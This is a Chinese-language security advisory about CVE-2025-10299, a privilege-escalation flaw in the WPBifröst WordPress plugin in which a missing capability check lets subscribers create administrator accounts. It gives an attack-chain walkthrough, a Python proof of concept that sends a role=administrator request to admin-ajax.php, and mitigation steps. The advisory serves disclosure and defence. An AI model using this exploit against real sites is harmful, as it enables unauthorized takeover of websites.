IPBUF安全漏洞报告
English
CVE-2025-10299 CVSS 8.8 高危

CVE-2025-10299:WPBifröst插件权限提升漏洞

披露日期: 2025-10-15

漏洞信息

漏洞编号
CVE-2025-10299
漏洞类型
权限提升(Privilege Escalation)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WPBifröst – Instant Passwordless Temporary Login Links(WordPress插件)

相关标签

权限提升Privilege EscalationWordPressWPBifröstcreate-temporary-loginAJAX漏洞能力检查缺失Missing Capability CheckCWE-862认证绕过

漏洞概述

CVE-2025-10299是WordPress插件WPBifröst – Instant Passwordless Temporary Login Links(也称为create-temporary-login插件)中存在的一个高危权限提升漏洞。该漏洞的CVSS 3.1评分为8.8分,属于高危级别。该插件主要用于生成无密码的临时登录链接,方便管理员为用户创建临时账户。然而,由于插件在处理ctl_create_link AJAX动作时缺少必要的能力检查(capability check),导致任何具有Subscriber级别及以上权限的认证用户都可以利用该漏洞创建新的管理员账户。

该漏洞由Wordfence安全团队的安全研究员发现并报告。攻击者只需要拥有一个低权限的Subscriber账户,就可以利用该漏洞将权限提升至管理员级别,完全控制目标WordPress网站。一旦获得管理员权限,攻击者可以执行任意操作,包括安装恶意插件、修改网站内容、窃取敏感数据、注入恶意代码或后门,甚至完全接管整个网站。

该漏洞影响该插件的所有版本,最高至1.0.7版本。由于该漏洞利用条件简单(仅需低权限认证账户),且危害严重(可完全接管网站),所有使用该插件的WordPress网站管理员应立即采取行动,更新插件或采取临时缓解措施。

技术细节

WPBifröst插件的ctl_create_link AJAX动作负责处理创建临时登录链接的请求。在正常的业务流程中,该动作应该仅允许具有manage_options或类似管理员权限的用户调用。然而,在1.0.7及以下版本中,该AJAX动作的实现缺少对当前用户权限的验证检查(缺少current_user_can()调用或nonce验证不足)。

具体技术原理如下:
1. 插件注册了一个WordPress AJAX动作钩子,用于处理来自前端AJAX请求的链接创建功能。
2. 该动作的回调函数直接处理用户提交的参数(如用户名、邮箱、角色等),并使用wp_insert_user()或类似函数创建新用户。
3. 由于缺少能力检查(missing capability check),任何已认证的用户(包括Subscriber级别的用户)都可以直接调用该AJAX动作。
4. 攻击者可以通过构造特定的AJAX请求,传递role=administrator参数,创建一个具有管理员权限的新用户账户。
5. 创建成功后,插件会返回一个临时登录链接或密码,攻击者可以使用该链接或凭据以新创建的管理员身份登录。

利用条件:
- 攻击者需要拥有一个有效的WordPress账户(Subscriber级别或以上)
- 目标网站必须安装并启用了WPBifröst插件(版本≤1.0.7)
- 无需用户交互
- 可通过网络远程利用

修复方案:开发者已在后续版本中添加了适当的能力检查,确保只有具有相应权限的用户才能调用ctl_create_link动作。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者注册或获取目标WordPress网站的一个Subscriber级别账户。注册通常是公开的或通过其他方式(如购买泄露凭据)获得。
STEP 2
步骤2:构造恶意AJAX请求
攻击者构造一个针对admin-ajax.php的POST请求,调用ctl_create_link动作,并在请求参数中指定要创建的管理员账户信息(用户名、邮箱、角色=administrator)。
STEP 3
步骤3:发送利用请求
由于缺少能力检查,服务器处理该请求并创建一个具有管理员权限的新用户账户,返回临时登录链接或密码。
STEP 4
步骤4:以管理员身份登录
攻击者使用返回的凭据或临时登录链接,以新创建的管理员身份登录WordPress后台,获得完全控制权限。
STEP 5
步骤5:执行恶意操作
获得管理员权限后,攻击者可以安装恶意插件/主题、植入后门、窃取敏感数据、修改网站内容或执行其他破坏性操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-10299 PoC - WPBifröst Privilege Escalation # Exploit for missing capability check on ctl_create_link AJAX action import requests # Target WordPress site URL target_url = "http://target-wordpress-site.com" # Attacker credentials (Subscriber-level account) username = "subscriber_user" password = "subscriber_password" # Step 1: Login as Subscriber to obtain session cookies session = requests.Session() login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": f"{target_url}/wp-admin/", "testcookie": "1" } session.post(f"{target_url}/wp-login.php", data=login_data) # Step 2: Exploit the missing capability check on ctl_create_link AJAX action # Create a new administrator account via the vulnerable AJAX endpoint exploit_data = { "action": "ctl_create_link", "user_login": "pwned_admin", "user_email": "[email protected]", "role": "administrator" # Privilege escalation: create admin account } response = session.post(f"{target_url}/wp-admin/admin-ajax.php", data=exploit_data) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Step 3: The response should contain the new admin user credentials or temporary login link # Use these credentials to log in as the newly created administrator if "success" in response.text.lower() or response.status_code == 200: print("[+] Administrator account created successfully!") print("[+] Attacker can now log in with full admin privileges")

影响范围

WPBifröst – Instant Passwordless Temporary Login Links ≤ 1.0.7
create-temporary-login ≤ 1.0.7

防御指南

临时缓解措施
在等待官方修复版本期间,建议采取以下临时缓解措施:1)暂时停用WPBifröst插件;2)在wp-config.php中添加代码限制admin-ajax.php的访问,仅允许特定IP访问;3)通过.htaccess或Nginx配置限制对wp-admin/admin-ajax.php中ctl_create_link动作的访问;4)监控用户注册情况,及时删除可疑的管理员账户;5)检查网站是否有异常的临时登录链接生成记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表